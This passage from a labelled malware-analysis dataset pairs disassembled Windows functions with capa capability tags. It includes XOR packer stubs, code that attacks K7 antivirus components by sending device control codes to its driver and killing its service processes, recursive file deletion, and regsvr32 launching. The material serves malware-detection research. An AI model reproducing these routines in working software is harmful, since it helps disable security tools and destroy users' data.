joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x43eb65ba
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x67795127
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x27154c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x4304d8
nop
mov ecx, 0x48371855
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x401450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147e
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x401499
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4014ed
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ed
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f1
xor eax, eax
jmp 0x401503
cmp dword [ebp - 4], edi
je 0x401500
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x408934
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
push esi
pop esi
inc esi
call fcn.0040895f
sub edx, edx
and esi, esi
xor dword [ecx], eax
add edx, edx
and edx, edx
add ecx, 1
and edx, esi
dec esi
cmp ecx, edi
jne fcn.00408934
ret
Function at 0x401300
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], ebx
push esi
mov esi, edx
push edi
test ebx, ebx
je 0x401423
test esi, esi
jne 0x40132a
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401321
sub esi, ecx
lea ecx, [esi + 2]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edi, [edx*4 + 0x40]
push edi
call fcn.0041957c
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
je 0x401423
push edi
push 0
push eax
call fcn.00416ee0
mov eax, dword [ebp - 8]
add esp, 0xc
mov edi, eax
test esi, esi
je 0x401419
lea edx, [ebx + 2]
mov dword [ebp - 4], esi
mov ebx, 0xfffffffe
mov ecx, esi
sub ebx, dword [ebp - 0xc]
mov dword [ebp - 0xc], ebx
nop dword [eax]
mov eax, esi
sub eax, ebx
mov ebx, 4
sub eax, edx
cmp eax, ebx
movzx eax, byte [edx - 2]
cmovb ebx, ecx
shr eax, 2
movzx eax, byte [eax + 0x434598]
mov byte [edi], al
movzx ecx, byte [edx - 2]
movzx eax, byte [edx - 1]
and ecx, 3
shr eax, 4
shl ecx, 4
or ecx, eax
movzx eax, byte [ecx + 0x434598]
mov byte [edi + 1], al
cmp ebx, 1
jle 0x4013dc
movzx ecx, byte [edx - 1]
movzx eax, byte [edx]
and ecx, 0xf
shr eax, 6
shl ecx, 2
or ecx, eax
mov al, byte [ecx + 0x434598]
jmp 0x4013de
mov al, 0x3d
mov byte [edi + 2], al
cmp ebx, 2
jle 0x4013f4
movzx eax, byte [edx]
and eax, 0x3f
mov al, byte [eax + 0x434598]
jmp 0x4013f6
mov al, 0x3d
mov ebx, dword [ebp - 0xc]
add edx, 3
mov ecx, dword [ebp - 4]
mov byte [edi + 3], al
sub ecx, 3
add edi, 4
mov dword [ebp - 4], ecx
lea eax, [ebx + edx]
cmp eax, esi
jb 0x401380
mov eax, dword [ebp - 8]
mov byte [edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401570
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
lea eax, [ebp - 0x108]
push str.K7Sentry
jb 0x40159f
push str..Global_s
jmp 0x4015a4
push str.._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push 0
push 0
push 3
push 0
push 0
push Ordinal_1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4015e3
or eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041559f
mov esp, ebp
pop ebp
ret
push edi
push 0
lea eax, [ebp - 0x110]
push eax
push 4
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x95002550
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp eax, 1
je 0x40160f
xor edi, edi
jmp 0x401621
mov edi, dword [ebp - 0x10c]
xor eax, eax
cmp dword [ebp - 0x110], 4
cmovne edi, eax
test esi, esi
je 0x40162c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0041559f
mov esp, ebp
pop ebp
ret
Function at 0x401640
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
lea eax, [ebp - 0x108]
push str.K7Sentry
jb 0x40166f
push str..Global_s
jmp 0x401674
push str.._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push 0
push 0
push 3
push 0
push 0
push Ordinal_1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4016b3
or eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041559f
mov esp, ebp
pop ebp
ret
push edi
push 0
lea eax, [ebp - 0x110]
push eax
push 4
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x95002554
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp eax, 1
je 0x4016df
xor edi, edi
jmp 0x4016f1
mov edi, dword [ebp - 0x10c]
xor eax, eax
cmp dword [ebp - 0x110], 4
cmovne edi, eax
test esi, esi
je 0x4016fc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0041559f
mov esp, ebp
pop ebp
ret

Function at 0x401820
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xf003f
xor edi, edi
mov dword [ebp - 0x24], edx
push edi
push edi
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4018d6
push ebx
push 0xf003f
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x40187e
cmp eax, 0x7b
je 0x401877
cmp eax, 0x424
jne 0x4018cc
mov edi, 1
jmp 0x4018cc
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
je 0x4018c5
mov eax, dword [ebp - 0x1c]
cmp eax, 4
je 0x4018c0
cmp eax, 2
je 0x4018c0
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x4018e8
cmp eax, 0x420
jne 0x4018c5
mov edi, 1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0041559f
mov esp, ebp
pop ebp
ret
push 0
call fcn.0041bfa4
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], edi
je 0x4018c0
mov esi, dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4018c5
cmp dword [ebp - 0x1c], 4
je 0x4018c0
push 0
call fcn.0041bfa4
sub eax, dword [ebp - 0x28]
add esp, 4
cmp eax, 0x78
ja 0x4018c5
push 1
push 0x14
call esi
jmp 0x401900
Function at 0x401930
Capabilities:
Enumerate services
Query service status
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x48], eax
test eax, eax
je 0x401aff
push ebx
push edi
push 0xc
push str.K7TSMngr
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
mov dword [ebp - 0x44], edi
test edi, edi
jne 0x4019a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7b
je 0x401996
cmp eax, 0x424
jne 0x401af8
mov esi, 1
jmp 0x401af8
mov esi, dword [sym.imp.ADVAPI32.dll_EnumDependentServicesA]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 1
push edi
call esi
test eax, eax
je 0x4019c5
mov esi, 1
jmp 0x401af5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x401af3
push dword [ebp - 0x2c]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x401af3
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
push dword [ebp - 0x2c]
push eax
push 1
push edi
call esi
cmp eax, 1
jne 0x401ae1
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
jbe 0x401ae1
mov ebx, dword [ebp - 0x3c]
movups xmm0, xmmword [ebx]
push 0xf003f
xor esi, esi
mov dword [ebp - 8], 0
movups xmmword [ebp - 0x6c], xmm0
push esi
movups xmm0, xmmword [ebx + 0x10]
push esi
mov dword [ebp - 0x34], 0x24
movups xmmword [ebp - 0x5c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x40], eax
test eax, eax
je 0x401ac5
push 4
push dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x401a97
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x28]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
cmp eax, 1
jne 0x401a90
cmp dword [ebp - 0x24], eax
cmovne esi, dword [ebp - 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x401ac5
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401ac5
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x38]
add ebx, 0x24
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebp - 0x30]
jb 0x401a21
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [ebp - 0x44]
push dword [ebp - 0x3c]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
push edi
call ebx
push dword [ebp - 0x48]
call ebx
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041559f
mov esp, ebp
pop ebp
ret
Function at 0x401b10
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov esi, 1
mov dword [ebp - 0x134], edi
test edi, edi
je 0x401bc8
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401bc8
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x401bc1
lea eax, [ebp - 0x10c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401baf
push dword [ebp - 0x128]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x401b93
xor esi, esi
jmp 0x401ba9
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
neg eax
push edi
sbb eax, eax
and esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x401b68
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041559f
mov esp, ebp
pop ebp
ret

Function at 0x401be0
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0x18], edx
push 0
mov dword [ebp - 0x10], eax
mov edi, ecx
mov eax, dword [ebp + 8]
push 0xc0000000
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x14], 8
mov dword [ebp - 8], eax
mov dword [ebp + 8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401c67
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xe7
jne 0x401c62
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401c31
jmp 0x401c67
cmp esi, 0xffffffff
je 0x401cc6
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x401cb7
push 0
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0
push eax
push 4
lea eax, [ebp + 8]
push eax
push 0x14
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
test eax, eax
je 0x401cb7
mov eax, dword [ebp + 8]
or ecx, 0xffffffff
cmp dword [ebp + 0xc], 4
cmovne eax, ecx
mov dword [ebp + 8], eax
jmp 0x401cba
mov eax, dword [ebp + 8]
cmp esi, 0xffffffff
je 0x401cc9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401cd0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 3
jle 0x401ebe
push 0x1140
call fcn.004157b9
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
je 0x401ebe
push ebx
push 0x43720c
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [edi + 0x140]
push 0x436114
push eax
lea ebx, [eax + 0x104]
call esi
add esp, 0x10
lea eax, [edi + 0x140]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401e25
lea eax, [edi + 0x2c]
nop dword [eax + eax]
push eax
push dword [ebp - 4]
push 0x436114
push ebx
call esi
mov eax, dword [edi]
add esp, 0x10
shr eax, 4
mov ecx, 1
and al, 1
cmp byte [edi + 0x2c], 0x2e
movzx eax, al
cmovne ecx, eax
test cl, cl
jne 0x401e07
push 0x80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x401e07
push 0x400
call fcn.004157b9
mov edi, eax
add esp, 4
test edi, edi
je 0x401e04
xor esi, esi
nop dword [eax]
push esi
push ebx
push str._s._d
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.00414320
add esp, 0x14
test eax, eax
je 0x401dd4
inc esi
cmp esi, 0x3e8
jl 0x401db0
cmp esi, 0x3e8
je 0x401df3
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x401df3
push 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
push edi
call fcn.004157ab
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edi, dword [ebp - 8]
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [edi + 0x2c]
jne 0x401d50
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 4]
lea eax, [edi + 0x140]
push str._s.
push eax
call esi
add esp, 0xc
lea eax, [edi + 0x140]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401e9e
lea esi, [edi + 0x2c]
push esi
push dword [ebp - 4]
push 0x436114
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
test byte [edi], 0x10
je 0x401e87
cmp byte [esi], 0x2e
je 0x401e87
push 7
mov edx, 0x43720c
mov ecx, ebx
call fcn.00401cd0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401e52
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 1
push edi
call fcn.004157ab
add esp, 8
mov eax, 1
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401ed0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa5c
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, ecx
push 0x436300
push eax
mov dword [ebp - 0xa5c], eax
lea eax, [ebp - 0x808]
push 0x436304
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0xa58]
push eax
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401fe8
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, 0x2e
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
nop dword [eax]
cmp cx, word [ebp - 0xa2c]
je 0x401fc6
lea eax, [ebp - 0xa2c]
push eax
push dword [ebp - 0xa5c]
lea eax, [ebp - 0x808]
push 0x436304
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
test byte [ebp - 0xa58], 0x10
je 0x401f8e
lea ecx, [ebp - 0x808]
call fcn.00401ed0
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x401fb6
lea eax, [ebp - 0x808]
push eax
call edi
test eax, eax
jne 0x401fc6
push 0x80
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x808]
push eax
call edi
test eax, eax
jne 0x401fc6
push 4
push eax
lea eax, [ebp - 0x808]
push eax
call esi
lea eax, [ebp - 0xa58]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ecx, 0x2e
test eax, eax
jne 0x401f40
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041559f
mov esp, ebp
pop ebp
ret

Function at 0x402000
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x43b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4020e6
push 0x3c
lea eax, [ebp - 0x144]
push 0
push eax
call fcn.00416ee0
push esi
lea eax, [ebp - 0x108]
push str._s___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 0x144], 0x3c
lea eax, [ebp - 0x108]
mov dword [ebp - 0x140], 0x40
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x144]
mov dword [ebp - 0x13c], 0
push eax
mov dword [ebp - 0x138], str.open
mov dword [ebp - 0x134], str.regsvr32.exe
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0x3a98
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041559f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0041559f
mov esp, ebp
pop ebp
ret